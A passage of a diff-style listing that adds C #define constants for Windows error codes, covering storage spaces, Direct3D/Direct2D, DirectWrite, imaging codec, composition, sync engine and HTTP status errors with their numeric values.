STATEREPOSTORY_E_NESTED_TRANSACTION_NOT_SUPPORTED -2140733423 +#define STATEREPOSITORY_ERROR_CACHE_CORRUPTED -2140733422 +#define STATEREPOSITORY_TRANSACTION_CALLER_ID_CHANGED 6750227 +#define STATEREPOSITORY_TRANSACTION_IN_PROGRESS -2140733420 +#define STATEREPOSITORY_E_CACHE_NOT_INIITALIZED -2140733419 +#define STATEREPOSITORY_E_DEPENDENCY_NOT_RESOLVED -2140733418 +#define ERROR_SPACES_POOL_WAS_DELETED 15138817 +#define ERROR_SPACES_FAULT_DOMAIN_TYPE_INVALID -2132344831 +#define ERROR_SPACES_INTERNAL_ERROR -2132344830 +#define ERROR_SPACES_RESILIENCY_TYPE_INVALID -2132344829 +#define ERROR_SPACES_DRIVE_SECTOR_SIZE_INVALID -2132344828 +#define ERROR_SPACES_DRIVE_REDUNDANCY_INVALID -2132344826 +#define ERROR_SPACES_NUMBER_OF_DATA_COPIES_INVALID -2132344825 +#define ERROR_SPACES_PARITY_LAYOUT_INVALID -2132344824 +#define ERROR_SPACES_INTERLEAVE_LENGTH_INVALID -2132344823 +#define ERROR_SPACES_NUMBER_OF_COLUMNS_INVALID -2132344822 +#define ERROR_SPACES_NOT_ENOUGH_DRIVES -2132344821 +#define ERROR_SPACES_EXTENDED_ERROR -2132344820 +#define ERROR_SPACES_PROVISIONING_TYPE_INVALID -2132344819 +#define ERROR_SPACES_ALLOCATION_SIZE_INVALID -2132344818 +#define ERROR_SPACES_ENCLOSURE_AWARE_INVALID -2132344817 +#define ERROR_SPACES_WRITE_CACHE_SIZE_INVALID -2132344816 +#define ERROR_SPACES_NUMBER_OF_GROUPS_INVALID -2132344815 +#define ERROR_SPACES_DRIVE_OPERATIONAL_STATE_INVALID -2132344814 +#define ERROR_SPACES_ENTRY_INCOMPLETE -2132344813 +#define ERROR_SPACES_ENTRY_INVALID -2132344812 +#define ERROR_SPACES_UPDATE_COLUMN_STATE -2132344811 +#define ERROR_SPACES_MAP_REQUIRED -2132344810 +#define ERROR_SPACES_UNSUPPORTED_VERSION -2132344809 +#define ERROR_SPACES_CORRUPT_METADATA -2132344808 +#define ERROR_SPACES_DRT_FULL -2132344807 +#define ERROR_SPACES_INCONSISTENCY -2132344806 +#define ERROR_SPACES_LOG_NOT_READY -2132344805 +#define ERROR_SPACES_NO_REDUNDANCY -2132344804 +#define ERROR_SPACES_DRIVE_NOT_READY -2132344803 +#define ERROR_SPACES_DRIVE_SPLIT -2132344802 +#define ERROR_SPACES_DRIVE_LOST_DATA -2132344801 +#define ERROR_SPACES_MARK_DIRTY -2132344800 +#define ERROR_SPACES_FLUSH_METADATA -2132344795 +#define ERROR_SPACES_CACHE_FULL -2132344794 +#define ERROR_SPACES_REPAIR_IN_PROGRESS -2132344793 +#define ERROR_VOLSNAP_BOOTFILE_NOT_VALID -2138963967 +#define ERROR_VOLSNAP_ACTIVATION_TIMEOUT -2138963966 +#define ERROR_VOLSNAP_NO_BYPASSIO_WITH_SNAPSHOT -2138963965 +#define ERROR_TIERING_NOT_SUPPORTED_ON_VOLUME -2138898431 +#define ERROR_TIERING_VOLUME_DISMOUNT_IN_PROGRESS -2138898430 +#define ERROR_TIERING_STORAGE_TIER_NOT_FOUND -2138898429 +#define ERROR_TIERING_INVALID_FILE_ID -2138898428 +#define ERROR_TIERING_WRONG_CLUSTER_NODE -2138898427 +#define ERROR_TIERING_ALREADY_PROCESSING -2138898426 +#define ERROR_TIERING_CANNOT_PIN_OBJECT -2138898425 +#define ERROR_TIERING_FILE_IS_NOT_PINNED -2138898424 +#define ERROR_NOT_A_TIERED_VOLUME -2138898423 +#define ERROR_ATTRIBUTE_NOT_PRESENT -2138898422 +#define ERROR_SECCORE_INVALID_COMMAND -1058537472 +#define ERROR_NO_APPLICABLE_APP_LICENSES_FOUND -1058406399 +#define ERROR_CLIP_LICENSE_NOT_FOUND -1058406398 +#define ERROR_CLIP_DEVICE_LICENSE_MISSING -1058406397 +#define ERROR_CLIP_LICENSE_INVALID_SIGNATURE -1058406396 +#define ERROR_CLIP_KEYHOLDER_LICENSE_MISSING_OR_INVALID -1058406395 +#define ERROR_CLIP_LICENSE_EXPIRED -1058406394 +#define ERROR_CLIP_LICENSE_SIGNED_BY_UNKNOWN_SOURCE -1058406393 +#define ERROR_CLIP_LICENSE_NOT_SIGNED -1058406392 +#define ERROR_CLIP_LICENSE_HARDWARE_ID_OUT_OF_TOLERANCE -1058406391 +#define ERROR_CLIP_LICENSE_DEVICE_ID_MISMATCH -1058406390 +#define DXGI_STATUS_OCCLUDED 142213121 +#define DXGI_STATUS_CLIPPED 142213122 +#define DXGI_STATUS_NO_REDIRECTION 142213124 +#define DXGI_STATUS_NO_DESKTOP_ACCESS 142213125 +#define DXGI_STATUS_GRAPHICS_VIDPN_SOURCE_IN_USE 142213126 +#define DXGI_STATUS_MODE_CHANGED 142213127 +#define DXGI_STATUS_MODE_CHANGE_IN_PROGRESS 142213128 +#define DXCORE_ERROR_EVENT_NOT_UNREGISTERED -2004877311 +#define PRESENTATION_ERROR_LOST -2004811775 +#define DXGI_STATUS_UNOCCLUDED 142213129 +#define DXGI_STATUS_DDA_WAS_STILL_DRAWING 142213130 +#define DXGI_STATUS_PRESENT_REQUIRED 142213167 +#define DXGI_DDI_ERR_WASSTILLDRAWING -2005204991 +#define DXGI_DDI_ERR_UNSUPPORTED -2005204990 +#define DXGI_DDI_ERR_NONEXCLUSIVE -2005204989 +#define D3D10_ERROR_TOO_MANY_UNIQUE_STATE_OBJECTS -2005336063 +#define D3D10_ERROR_FILE_NOT_FOUND -2005336062 +#define D3D11_ERROR_TOO_MANY_UNIQUE_STATE_OBJECTS -2005139455 +#define D3D11_ERROR_FILE_NOT_FOUND -2005139454 +#define D3D11_ERROR_TOO_MANY_UNIQUE_VIEW_OBJECTS -2005139453 +#define D3D11_ERROR_DEFERRED_CONTEXT_MAP_WITHOUT_INITIAL_DISCARD -2005139452 +#define D3D12_ERROR_ADAPTER_NOT_FOUND -2005008383 +#define D3D12_ERROR_DRIVER_VERSION_MISMATCH -2005008382 +#define D3D12_ERROR_INVALID_REDIST -2005008381 +#define D2DERR_WRONG_STATE -2003238911 +#define D2DERR_NOT_INITIALIZED -2003238910 +#define D2DERR_UNSUPPORTED_OPERATION -2003238909 +#define D2DERR_SCANNER_FAILED -2003238908 +#define D2DERR_SCREEN_ACCESS_DENIED -2003238907 +#define D2DERR_DISPLAY_STATE_INVALID -2003238906 +#define D2DERR_ZERO_VECTOR -2003238905 +#define D2DERR_INTERNAL_ERROR -2003238904 +#define D2DERR_DISPLAY_FORMAT_NOT_SUPPORTED -2003238903 +#define D2DERR_INVALID_CALL -2003238902 +#define D2DERR_NO_HARDWARE_DEVICE -2003238901 +#define D2DERR_RECREATE_TARGET -2003238900 +#define D2DERR_TOO_MANY_SHADER_ELEMENTS -2003238899 +#define D2DERR_SHADER_COMPILE_FAILED -2003238898 +#define D2DERR_MAX_TEXTURE_SIZE_EXCEEDED -2003238897 +#define D2DERR_UNSUPPORTED_VERSION -2003238896 +#define D2DERR_BAD_NUMBER -2003238895 +#define D2DERR_WRONG_FACTORY -2003238894 +#define D2DERR_LAYER_ALREADY_IN_USE -2003238893 +#define D2DERR_POP_CALL_DID_NOT_MATCH_PUSH -2003238892 +#define D2DERR_WRONG_RESOURCE_DOMAIN -2003238891 +#define D2DERR_PUSH_POP_UNBALANCED -2003238890 +#define D2DERR_RENDER_TARGET_HAS_LAYER_OR_CLIPRECT -2003238889 +#define D2DERR_INCOMPATIBLE_BRUSH_TYPES -2003238888 +#define D2DERR_WIN32_ERROR -2003238887 +#define D2DERR_TARGET_NOT_GDI_COMPATIBLE -2003238886 +#define D2DERR_TEXT_EFFECT_IS_WRONG_TYPE -2003238885 +#define D2DERR_TEXT_RENDERER_NOT_RELEASED -2003238884 +#define D2DERR_EXCEEDS_MAX_BITMAP_SIZE -2003238883 +#define D2DERR_INVALID_GRAPH_CONFIGURATION -2003238882 +#define D2DERR_INVALID_INTERNAL_GRAPH_CONFIGURATION -2003238881 +#define D2DERR_CYCLIC_GRAPH -2003238880 +#define D2DERR_BITMAP_CANNOT_DRAW -2003238879 +#define D2DERR_OUTSTANDING_BITMAP_REFERENCES -2003238878 +#define D2DERR_ORIGINAL_TARGET_NOT_BOUND -2003238877 +#define D2DERR_INVALID_TARGET -2003238876 +#define D2DERR_BITMAP_BOUND_AS_TARGET -2003238875 +#define D2DERR_INSUFFICIENT_DEVICE_CAPABILITIES -2003238874 +#define D2DERR_INTERMEDIATE_TOO_LARGE -2003238873 +#define D2DERR_EFFECT_IS_NOT_REGISTERED -2003238872 +#define D2DERR_INVALID_PROPERTY -2003238871 +#define D2DERR_NO_SUBPROPERTIES -2003238870 +#define D2DERR_PRINT_JOB_CLOSED -2003238869 +#define D2DERR_PRINT_FORMAT_NOT_SUPPORTED -2003238868 +#define D2DERR_TOO_MANY_TRANSFORM_INPUTS -2003238867 +#define D2DERR_INVALID_GLYPH_IMAGE -2003238866 +#define DWRITE_E_FILEFORMAT -2003283968 +#define DWRITE_E_UNEXPECTED -2003283967 +#define DWRITE_E_NOFONT -2003283966 +#define DWRITE_E_FILENOTFOUND -2003283965 +#define DWRITE_E_FILEACCESS -2003283964 +#define DWRITE_E_FONTCOLLECTIONOBSOLETE -2003283963 +#define DWRITE_E_ALREADYREGISTERED -2003283962 +#define DWRITE_E_CACHEFORMAT -2003283961 +#define DWRITE_E_CACHEVERSION -2003283960 +#define DWRITE_E_UNSUPPORTEDOPERATION -2003283959 +#define DWRITE_E_TEXTRENDERERINCOMPATIBLE -2003283958 +#define DWRITE_E_FLOWDIRECTIONCONFLICTS -2003283957 +#define DWRITE_E_NOCOLOR -2003283956 +#define WINCODEC_ERR_WRONGSTATE -2003292412 +#define WINCODEC_ERR_VALUEOUTOFRANGE -2003292411 +#define WINCODEC_ERR_UNKNOWNIMAGEFORMAT -2003292409 +#define WINCODEC_ERR_UNSUPPORTEDVERSION -2003292405 +#define WINCODEC_ERR_NOTINITIALIZED -2003292404 +#define WINCODEC_ERR_ALREADYLOCKED -2003292403 +#define WINCODEC_ERR_PROPERTYNOTFOUND -2003292352 +#define WINCODEC_ERR_PROPERTYNOTSUPPORTED -2003292351 +#define WINCODEC_ERR_PROPERTYSIZE -2003292350 +#define WINCODEC_ERR_CODECPRESENT -2003292349 +#define WINCODEC_ERR_CODECNOTHUMBNAIL -2003292348 +#define WINCODEC_ERR_PALETTEUNAVAILABLE -2003292347 +#define WINCODEC_ERR_CODECTOOMANYSCANLINES -2003292346 +#define WINCODEC_ERR_INTERNALERROR -2003292344 +#define WINCODEC_ERR_SOURCERECTDOESNOTMATCHDIMENSIONS -2003292343 +#define WINCODEC_ERR_COMPONENTNOTFOUND -2003292336 +#define WINCODEC_ERR_IMAGESIZEOUTOFRANGE -2003292335 +#define WINCODEC_ERR_TOOMUCHMETADATA -2003292334 +#define WINCODEC_ERR_BADIMAGE -2003292320 +#define WINCODEC_ERR_BADHEADER -2003292319 +#define WINCODEC_ERR_FRAMEMISSING -2003292318 +#define WINCODEC_ERR_BADMETADATAHEADER -2003292317 +#define WINCODEC_ERR_BADSTREAMDATA -2003292304 +#define WINCODEC_ERR_STREAMWRITE -2003292303 +#define WINCODEC_ERR_STREAMREAD -2003292302 +#define WINCODEC_ERR_STREAMNOTAVAILABLE -2003292301 +#define WINCODEC_ERR_UNSUPPORTEDPIXELFORMAT -2003292288 +#define WINCODEC_ERR_UNSUPPORTEDOPERATION -2003292287 +#define WINCODEC_ERR_INVALIDREGISTRATION -2003292278 +#define WINCODEC_ERR_COMPONENTINITIALIZEFAILURE -2003292277 +#define WINCODEC_ERR_INSUFFICIENTBUFFER -2003292276 +#define WINCODEC_ERR_DUPLICATEMETADATAPRESENT -2003292275 +#define WINCODEC_ERR_PROPERTYUNEXPECTEDTYPE -2003292274 +#define WINCODEC_ERR_UNEXPECTEDSIZE -2003292273 +#define WINCODEC_ERR_INVALIDQUERYREQUEST -2003292272 +#define WINCODEC_ERR_UNEXPECTEDMETADATATYPE -2003292271 +#define WINCODEC_ERR_REQUESTONLYVALIDATMETADATAROOT -2003292270 +#define WINCODEC_ERR_INVALIDQUERYCHARACTER -2003292269 +#define WINCODEC_ERR_WIN32ERROR -2003292268 +#define WINCODEC_ERR_INVALIDPROGRESSIVELEVEL -2003292267 +#define WINCODEC_ERR_INVALIDJPEGSCANINDEX -2003292266 +#define WINCODEC_ERR_UNSUPPORTEDTONEMAPPING -2003292265 +#define MILERR_OBJECTBUSY -2003304447 +#define MILERR_INSUFFICIENTBUFFER -2003304446 +#define MILERR_WIN32ERROR -2003304445 +#define MILERR_SCANNER_FAILED -2003304444 +#define MILERR_SCREENACCESSDENIED -2003304443 +#define MILERR_DISPLAYSTATEINVALID -2003304442 +#define MILERR_NONINVERTIBLEMATRIX -2003304441 +#define MILERR_ZEROVECTOR -2003304440 +#define MILERR_TERMINATED -2003304439 +#define MILERR_BADNUMBER -2003304438 +#define MILERR_INTERNALERROR -2003304320 +#define MILERR_DISPLAYFORMATNOTSUPPORTED -2003304316 +#define MILERR_INVALIDCALL -2003304315 +#define MILERR_ALREADYLOCKED -2003304314 +#define MILERR_NOTLOCKED -2003304313 +#define MILERR_DEVICECANNOTRENDERTEXT -2003304312 +#define MILERR_GLYPHBITMAPMISSED -2003304311 +#define MILERR_MALFORMEDGLYPHCACHE -2003304310 +#define MILERR_GENERIC_IGNORE -2003304309 +#define MILERR_MALFORMED_GUIDELINE_DATA -2003304308 +#define MILERR_NO_HARDWARE_DEVICE -2003304307 +#define MILERR_NEED_RECREATE_AND_PRESENT -2003304306 +#define MILERR_ALREADY_INITIALIZED -2003304305 +#define MILERR_MISMATCHED_SIZE -2003304304 +#define MILERR_NO_REDIRECTION_SURFACE_AVAILABLE -2003304303 +#define MILERR_REMOTING_NOT_SUPPORTED -2003304302 +#define MILERR_QUEUED_PRESENT_NOT_SUPPORTED -2003304301 +#define MILERR_NOT_QUEUING_PRESENTS -2003304300 +#define MILERR_NO_REDIRECTION_SURFACE_RETRY_LATER -2003304299 +#define MILERR_TOOMANYSHADERELEMNTS -2003304298 +#define MILERR_MROW_READLOCK_FAILED -2003304297 +#define MILERR_MROW_UPDATE_FAILED -2003304296 +#define MILERR_SHADER_COMPILE_FAILED -2003304295 +#define MILERR_MAX_TEXTURE_SIZE_EXCEEDED -2003304294 +#define MILERR_QPC_TIME_WENT_BACKWARD -2003304293 +#define MILERR_DXGI_ENUMERATION_OUT_OF_SYNC -2003304291 +#define MILERR_ADAPTER_NOT_FOUND -2003304290 +#define MILERR_COLORSPACE_NOT_SUPPORTED -2003304289 +#define MILERR_PREFILTER_NOT_SUPPORTED -2003304288 +#define MILERR_DISPLAYID_ACCESS_DENIED -2003304287 +#define MILERR_DEVICE_CREATION_FAILURE -2003304272 +#define MILERR_INTEL_DEVICE_CREATION_FAILURE -2003304271 +#define MILERR_AMD_DEVICE_CREATION_FAILURE -2003304270 +#define MILERR_NVIDIA_DEVICE_CREATION_FAILURE -2003304269 +#define MILERR_QC_DEVICE_CREATION_FAILURE -2003304268 +#define MILERR_SWAPCHAIN_CREATION_FAILURE -2003304256 +#define MILERR_INTEL_SWAPCHAIN_CREATION_FAILURE -2003304255 +#define MILERR_AMD_SWAPCHAIN_CREATION_FAILURE -2003304254 +#define MILERR_NVIDIA_SWAPCHAIN_CREATION_FAILURE -2003304253 +#define MILERR_QC_SWAPCHAIN_CREATION_FAILURE -2003304252 +#define MILERR_IDD_SWAPCHAIN_CREATION_FAILURE -2003304251 +#define MILERR_PRESENT_FAILURE -2003304240 +#define MILERR_INTEL_PRESENT_FAILURE -2003304239 +#define MILERR_AMD_PRESENT_FAILURE -2003304238 +#define MILERR_NVIDIA_PRESENT_FAILURE -2003304237 +#define MILERR_QC_PRESENT_FAILURE -2003304236 +#define MILERR_IDD_PRESENT_FAILURE -2003304235 +#define UCEERR_INVALIDPACKETHEADER -2003303424 +#define UCEERR_UNKNOWNPACKET -2003303423 +#define UCEERR_ILLEGALPACKET -2003303422 +#define UCEERR_MALFORMEDPACKET -2003303421 +#define UCEERR_ILLEGALHANDLE -2003303420 +#define UCEERR_HANDLELOOKUPFAILED -2003303419 +#define UCEERR_RENDERTHREADFAILURE -2003303418 +#define UCEERR_CTXSTACKFRSTTARGETNULL -2003303417 +#define UCEERR_CONNECTIONIDLOOKUPFAILED -2003303416 +#define UCEERR_BLOCKSFULL -2003303415 +#define UCEERR_MEMORYFAILURE -2003303414 +#define UCEERR_PACKETRECORDOUTOFRANGE -2003303413 +#define UCEERR_ILLEGALRECORDTYPE -2003303412 +#define UCEERR_OUTOFHANDLES -2003303411 +#define UCEERR_UNCHANGABLE_UPDATE_ATTEMPTED -2003303410 +#define UCEERR_NO_MULTIPLE_WORKER_THREADS -2003303409 +#define UCEERR_REMOTINGNOTSUPPORTED -2003303408 +#define UCEERR_MISSINGENDCOMMAND -2003303407 +#define UCEERR_MISSINGBEGINCOMMAND -2003303406 +#define UCEERR_CHANNELSYNCTIMEDOUT -2003303405 +#define UCEERR_CHANNELSYNCABANDONED -2003303404 +#define UCEERR_UNSUPPORTEDTRANSPORTVERSION -2003303403 +#define UCEERR_TRANSPORTUNAVAILABLE -2003303402 +#define UCEERR_FEEDBACK_UNSUPPORTED -2003303401 +#define UCEERR_COMMANDTRANSPORTDENIED -2003303400 +#define UCEERR_GRAPHICSSTREAMUNAVAILABLE -2003303399 +#define UCEERR_GRAPHICSSTREAMALREADYOPEN -2003303392 +#define UCEERR_TRANSPORTDISCONNECTED -2003303391 +#define UCEERR_TRANSPORTOVERLOADED -2003303390 +#define UCEERR_PARTITION_ZOMBIED -2003303389 +#define MILAVERR_NOCLOCK -2003303168 +#define MILAVERR_NOMEDIATYPE -2003303167 +#define MILAVERR_NOVIDEOMIXER -2003303166 +#define MILAVERR_NOVIDEOPRESENTER -2003303165 +#define MILAVERR_NOREADYFRAMES -2003303164 +#define MILAVERR_MODULENOTLOADED -2003303163 +#define MILAVERR_WMPFACTORYNOTREGISTERED -2003303162 +#define MILAVERR_INVALIDWMPVERSION -2003303161 +#define MILAVERR_INSUFFICIENTVIDEORESOURCES -2003303160 +#define MILAVERR_VIDEOACCELERATIONNOTAVAILABLE -2003303159 +#define MILAVERR_REQUESTEDTEXTURETOOBIG -2003303158 +#define MILAVERR_SEEKFAILED -2003303157 +#define MILAVERR_UNEXPECTEDWMPFAILURE -2003303156 +#define MILAVERR_MEDIAPLAYERCLOSED -2003303155 +#define MILAVERR_UNKNOWNHARDWAREERROR -2003303154 +#define MILEFFECTSERR_UNKNOWNPROPERTY -2003302898 +#define MILEFFECTSERR_EFFECTNOTPARTOFGROUP -2003302897 +#define MILEFFECTSERR_NOINPUTSOURCEATTACHED -2003302896 +#define MILEFFECTSERR_CONNECTORNOTCONNECTED -2003302895 +#define MILEFFECTSERR_CONNECTORNOTASSOCIATEDWITHEFFECT -2003302894 +#define MILEFFECTSERR_RESERVED -2003302893 +#define MILEFFECTSERR_CYCLEDETECTED -2003302892 +#define MILEFFECTSERR_EFFECTINMORETHANONEGRAPH -2003302891 +#define MILEFFECTSERR_EFFECTALREADYINAGRAPH -2003302890 +#define MILEFFECTSERR_EFFECTHASNOCHILDREN -2003302889 +#define MILEFFECTSERR_ALREADYATTACHEDTOLISTENER -2003302888 +#define MILEFFECTSERR_NOTAFFINETRANSFORM -2003302887 +#define MILEFFECTSERR_EMPTYBOUNDS -2003302886 +#define MILEFFECTSERR_OUTPUTSIZETOOLARGE -2003302885 +#define DWMERR_STATE_TRANSITION_FAILED -2003302656 +#define DWMERR_THEME_FAILED -2003302655 +#define DWMERR_CATASTROPHIC_FAILURE -2003302654 +#define DCOMPOSITION_ERROR_WINDOW_ALREADY_COMPOSED -2003302400 +#define DCOMPOSITION_ERROR_SURFACE_BEING_RENDERED -2003302399 +#define DCOMPOSITION_ERROR_SURFACE_NOT_BEING_RENDERED -2003302398 +#define ONL_E_INVALID_AUTHENTICATION_TARGET -2138701823 +#define ONL_E_ACCESS_DENIED_BY_TOU -2138701822 +#define ONL_E_INVALID_APPLICATION -2138701821 +#define ONL_E_PASSWORD_UPDATE_REQUIRED -2138701820 +#define ONL_E_ACCOUNT_UPDATE_REQUIRED -2138701819 +#define ONL_E_FORCESIGNIN -2138701818 +#define ONL_E_ACCOUNT_LOCKED -2138701817 +#define ONL_E_PARENTAL_CONSENT_REQUIRED -2138701816 +#define ONL_E_EMAIL_VERIFICATION_REQUIRED -2138701815 +#define ONL_E_ACCOUNT_SUSPENDED_COMPROIMISE -2138701814 +#define ONL_E_ACCOUNT_SUSPENDED_ABUSE -2138701813 +#define ONL_E_ACTION_REQUIRED -2138701812 +#define ONL_CONNECTION_COUNT_LIMIT -2138701811 +#define ONL_E_CONNECTED_ACCOUNT_CAN_NOT_SIGNOUT -2138701810 +#define ONL_E_USER_AUTHENTICATION_REQUIRED -2138701809 +#define ONL_E_REQUEST_THROTTLED -2138701808 +#define FA_E_MAX_PERSISTED_ITEMS_REACHED -2144927200 +#define FA_E_HOMEGROUP_NOT_AVAILABLE -2144927198 +#define E_MONITOR_RESOLUTION_TOO_LOW -2144927152 +#define E_ELEVATED_ACTIVATION_NOT_SUPPORTED -2144927151 +#define E_UAC_DISABLED -2144927150 +#define E_FULL_ADMIN_NOT_SUPPORTED -2144927149 +#define E_APPLICATION_NOT_REGISTERED -2144927148 +#define E_MULTIPLE_EXTENSIONS_FOR_APPLICATION -2144927147 +#define E_MULTIPLE_PACKAGES_FOR_FAMILY -2144927146 +#define E_APPLICATION_MANAGER_NOT_RUNNING -2144927145 +#define S_STORE_LAUNCHED_FOR_REMEDIATION 2556504 +#define S_APPLICATION_ACTIVATION_ERROR_HANDLED_BY_DIALOG 2556505 +#define E_APPLICATION_ACTIVATION_TIMED_OUT -2144927142 +#define E_APPLICATION_ACTIVATION_EXEC_FAILURE -2144927141 +#define E_APPLICATION_TEMPORARY_LICENSE_ERROR -2144927140 +#define E_APPLICATION_TRIAL_LICENSE_EXPIRED -2144927139 +#define E_SKYDRIVE_ROOT_TARGET_FILE_SYSTEM_NOT_SUPPORTED -2144927136 +#define E_SKYDRIVE_ROOT_TARGET_OVERLAP -2144927135 +#define E_SKYDRIVE_ROOT_TARGET_CANNOT_INDEX -2144927134 +#define E_SKYDRIVE_FILE_NOT_UPLOADED -2144927133 +#define E_SKYDRIVE_UPDATE_AVAILABILITY_FAIL -2144927132 +#define E_SKYDRIVE_ROOT_TARGET_VOLUME_ROOT_NOT_SUPPORTED -2144927131 +#define E_SYNCENGINE_FILE_SIZE_OVER_LIMIT -2013089791 +#define E_SYNCENGINE_FILE_SIZE_EXCEEDS_REMAINING_QUOTA -2013089790 +#define E_SYNCENGINE_UNSUPPORTED_FILE_NAME -2013089789 +#define E_SYNCENGINE_FOLDER_ITEM_COUNT_LIMIT_EXCEEDED -2013089788 +#define E_SYNCENGINE_FILE_SYNC_PARTNER_ERROR -2013089787 +#define E_SYNCENGINE_SYNC_PAUSED_BY_SERVICE -2013089786 +#define E_SYNCENGINE_FILE_IDENTIFIER_UNKNOWN -2013085694 +#define E_SYNCENGINE_SERVICE_AUTHENTICATION_FAILED -2013085693 +#define E_SYNCENGINE_UNKNOWN_SERVICE_ERROR -2013085692 +#define E_SYNCENGINE_SERVICE_RETURNED_UNEXPECTED_SIZE -2013085691 +#define E_SYNCENGINE_REQUEST_BLOCKED_BY_SERVICE -2013085690 +#define E_SYNCENGINE_REQUEST_BLOCKED_DUE_TO_CLIENT_ERROR -2013085689 +#define E_SYNCENGINE_FOLDER_INACCESSIBLE -2013081599 +#define E_SYNCENGINE_UNSUPPORTED_FOLDER_NAME -2013081598 +#define E_SYNCENGINE_UNSUPPORTED_MARKET -2013081597 +#define E_SYNCENGINE_PATH_LENGTH_LIMIT_EXCEEDED -2013081596 +#define E_SYNCENGINE_REMOTE_PATH_LENGTH_LIMIT_EXCEEDED -2013081595 +#define E_SYNCENGINE_CLIENT_UPDATE_NEEDED -2013081594 +#define E_SYNCENGINE_PROXY_AUTHENTICATION_REQUIRED -2013081593 +#define E_SYNCENGINE_STORAGE_SERVICE_PROVISIONING_FAILED -2013081592 +#define E_SYNCENGINE_UNSUPPORTED_REPARSE_POINT -2013081591 +#define E_SYNCENGINE_STORAGE_SERVICE_BLOCKED -2013081590 +#define E_SYNCENGINE_FOLDER_IN_REDIRECTION -2013081589 +#define EAS_E_POLICY_NOT_MANAGED_BY_OS -2141913087 +#define EAS_E_POLICY_COMPLIANT_WITH_ACTIONS -2141913086 +#define EAS_E_REQUESTED_POLICY_NOT_ENFORCEABLE -2141913085 +#define EAS_E_CURRENT_USER_HAS_BLANK_PASSWORD -2141913084 +#define EAS_E_REQUESTED_POLICY_PASSWORD_EXPIRATION_INCOMPATIBLE -2141913083 +#define EAS_E_USER_CANNOT_CHANGE_PASSWORD -2141913082 +#define EAS_E_ADMINS_HAVE_BLANK_PASSWORD -2141913081 +#define EAS_E_ADMINS_CANNOT_CHANGE_PASSWORD -2141913080 +#define EAS_E_LOCAL_CONTROLLED_USERS_CANNOT_CHANGE_PASSWORD -2141913079 +#define EAS_E_PASSWORD_POLICY_NOT_ENFORCEABLE_FOR_CONNECTED_ADMINS -2141913078 +#define EAS_E_CONNECTED_ADMINS_NEED_TO_CHANGE_PASSWORD -2141913077 +#define EAS_E_PASSWORD_POLICY_NOT_ENFORCEABLE_FOR_CURRENT_CONNECTED_USER -2141913076 +#define EAS_E_CURRENT_CONNECTED_USER_NEED_TO_CHANGE_PASSWORD -2141913075 +#define WEB_E_UNSUPPORTED_FORMAT -2089484287 +#define WEB_E_INVALID_XML -2089484286 +#define WEB_E_MISSING_REQUIRED_ELEMENT -2089484285 +#define WEB_E_MISSING_REQUIRED_ATTRIBUTE -2089484284 +#define WEB_E_UNEXPECTED_CONTENT -2089484283 +#define WEB_E_RESOURCE_TOO_LARGE -2089484282 +#define WEB_E_INVALID_JSON_STRING -2089484281 +#define WEB_E_INVALID_JSON_NUMBER -2089484280 +#define WEB_E_JSON_VALUE_NOT_FOUND -2089484279 +#define HTTP_E_STATUS_UNEXPECTED -2145845247 +#define HTTP_E_STATUS_UNEXPECTED_REDIRECTION -2145845245 +#define HTTP_E_STATUS_UNEXPECTED_CLIENT_ERROR -2145845244 +#define HTTP_E_STATUS_UNEXPECTED_SERVER_ERROR -2145845243 +#define HTTP_E_STATUS_AMBIGUOUS -2145844948 +#define HTTP_E_STATUS_MOVED -2145844947 +#define HTTP_E_STATUS_REDIRECT -2145844946 +#define HTTP_E_STATUS_REDIRECT_METHOD -2145844945 +#define HTTP_E_STATUS_NOT_MODIFIED -2145844944 +#define HTTP_E_STATUS_USE_PROXY -2145844943 +#define HTTP_E_STATUS_REDIRECT_KEEP_VERB -2145844941 +#define HTTP_E_STATUS_BAD_REQUEST -2145844848 +#define HTTP_E_STATUS_DENIED -2145844847 +#define HTTP_E_STATUS_PAYMENT_REQ -2145844846 +#define HTTP_E_STATUS_FORBIDDEN -2145844845 +#define HTTP_E_STATUS_NOT_FOUND -2145844844 +#define HTTP_E_STATUS_BAD_METHOD -2145844843 +#define HTTP_E_STATUS_NONE_ACCEPTABLE -2145844842 +#define HTTP_E_STATUS_PROXY_AUTH_REQ -2145844841 +#define HTTP_E_STATUS_REQUEST_TIMEOUT -2145844840 +#define HTTP_E_STATUS_CONFLICT -2145844839 +#define HTTP_E_STATUS_GONE -2145844838 +#define HTTP_E_STATUS_LENGTH_REQUIRED -2145844837 +#define HTTP_E_STATUS_PRECOND_FAILED -2145844836 +#define HTTP_E_STATUS_REQUEST_TOO_LARGE -2145844835 +#define HTTP_E_STATUS_URI_TOO_LONG -2145844834 +#define HTTP_E_STATUS_UNSUPPORTED_MEDIA -2145844833 +#define HTTP_E_STATUS_RANGE_NOT_SATISFIABLE -2145844832 +#define HTTP_E_STATUS_EXPECTATION_FAILED -2145844831 +#define HTTP_E_STATUS_SERVER_ERROR -2145844748 +#define HTTP_E_STATUS_NOT_SUPPORTED -2145844747 +#define HTTP_E_STATUS_BAD_GATEWAY -2145844746 +#define HTTP_E_STATUS_SERVICE_UNAVAIL -2145844745 +#define HTTP_E_STATUS_GATEWAY_TIMEOUT -2145844744 +#define HTTP_E_STATUS_VERSION_NOT_SUP -2145844743 +#define E_INVALID_PROTOCOL_OPERATION -2089418751 +#define E_INVALID_PROTOCOL_FORMAT -2089418750 +#define E_PROTOCOL_EXTENSIONS_NOT_SUPPORTED -2089418749 +#define E_SUBPROTOCOL_NOT_SUPPORTED -2089418748 +#define E_PROTOCOL_VERSION_NOT_SUPPORTED -2089418747 +#define INPUT_E_OUT_OF_ORDER -2143289344 +#define INPUT_E_REENTRANCY -2143289343 +#define INPUT_E_MULTIMODAL -2143289342 +#define INPUT_E_PACKET -2143289341 +#define INPUT_E_FRAME -2143289340 +#define INPUT_E_HISTORY -2143289339 +#define INPUT_E_DEVICE_INFO -2143289338 +#define INPUT_E_TRANSFORM -2143289337 +#define INPUT_E_DEVICE_PROPERTY -2143289336 +#define ERROR_DBG_CREATE_PROCESS_FAILURE_LOCKDOWN -2135949311 +#define ERROR_DBG_ATTACH_PROCESS_FAILURE_LOCKDOWN -2135949310 +#define ERROR_DBG_CONNECT_SERVER_FAILURE_LOCKDOWN -2135949309 +#define ERROR_DBG_START_SERVER_FAILURE_LOCKDOWN -2135949308 +#define HSP_E_ERROR_MASK -2128084992 +#define HSP_E_INTERNAL_ERROR -2128080897 +#define HSP_BS_ERROR_MASK -2128080896 +#define HSP_BS_INTERNAL_ERROR -2128080641 +#define HSP_DRV_ERROR_MASK -2128019456 +#define HSP_DRV_INTERNAL_ERROR -2128019201 